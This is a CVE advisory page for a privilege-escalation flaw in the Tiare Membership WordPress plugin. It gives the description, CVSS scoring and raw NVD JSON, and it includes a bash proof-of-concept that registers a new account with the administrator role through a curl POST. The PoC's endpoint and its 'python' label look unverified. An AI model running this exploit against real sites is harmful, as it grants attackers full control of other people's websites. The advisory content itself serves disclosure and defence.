Security Vulnerability Report
中文
CVE-2025-13540 CVSS 9.8 CRITICAL

CVE-2025-13540

Published: 2025-11-27 05:16:14
Last Modified: 2026-04-15 00:35:42

Description

The Tiare Membership plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2. This is due to the 'tiare_membership_init_rest_api_register' function not restricting what user roles a user can register with. This makes it possible for unauthenticated attackers to supply the 'administrator' role during registration and gain administrator access to the site.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Tiare Membership plugin for WordPress <= 1.2 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-13540 PoC - Tiare Membership Plugin Privilege Escalation # Target: WordPress site with Tiare Membership plugin <= 1.2 TARGET_URL="http://target-wordpress-site.com" API_ENDPOINT="$TARGET_URL/wp-json/wp/v2/users/register" # Generate random username and password USERNAME="attacker_$(date +%s)" PASSWORD="P@ssw0rd123!" EMAIL="[email protected]" echo "[+] Exploiting CVE-2025-13540: Tiare Membership Privilege Escalation" echo "[+] Target: $TARGET_URL" echo "[+] Registering user with administrator role..." # Send malicious registration request with administrator role curl -X POST "$API_ENDPOINT" \ -H "Content-Type: application/json" \ -d "{ \"username\": \"$USERNAME\", \"password\": \"$PASSWORD\", \"email\": \"$EMAIL\", \"role\": \"administrator\" }" \ -v echo "" echo "[+] If successful, you can now login at $TARGET_URL/wp-admin" echo "[+] Username: $USERNAME" echo "[+] Password: $PASSWORD"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13540", "sourceIdentifier": "[email protected]", "published": "2025-11-27T05:16:14.293", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Tiare Membership plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2. This is due to the 'tiare_membership_init_rest_api_register' function not restricting what user roles a user can register with. This makes it possible for unauthenticated attackers to supply the 'administrator' role during registration and gain administrator access to the site."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://themeforest.net/item/tiare-wedding-vendor-directory-theme/26589165?s_rank=1", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6cf01a38-1fba-4c93-b3fa-acfdd5b19410?source=cve", "source": "[email protected]"}]}}